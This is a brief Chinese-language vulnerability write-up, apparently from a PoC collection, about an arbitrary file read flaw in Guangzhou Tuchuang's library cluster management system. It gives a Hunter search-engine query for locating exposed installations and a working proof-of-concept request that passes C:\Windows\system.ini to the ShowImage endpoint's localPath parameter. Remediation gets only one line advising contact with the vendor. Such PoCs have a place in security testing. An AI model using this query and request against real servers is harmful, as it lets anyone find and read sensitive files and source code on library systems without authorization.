Nx01 产品简介
广州图创计算机软件开发有限公司是集产品研发、应用集成、客户服务为一体的高新技术企业,主要目标是为图书馆行业用户提供高质量的应用软件系统设计、集成和维护服务。
Nx02 漏洞描述
广州图创图书馆集群管理系统存在任意文件读取漏洞,攻击者可利用漏洞下载服务器的敏感信息,源码等。
Nx03 产品主页
hunter-query: web.body="/interlib/common/"
Nx04 漏洞复现
构造POC进行漏洞验证。
/interlib/report/ShowImage?localPath=C:\Windows\system.ini
Nx05 修复建议
建议联系软件厂商进行处理。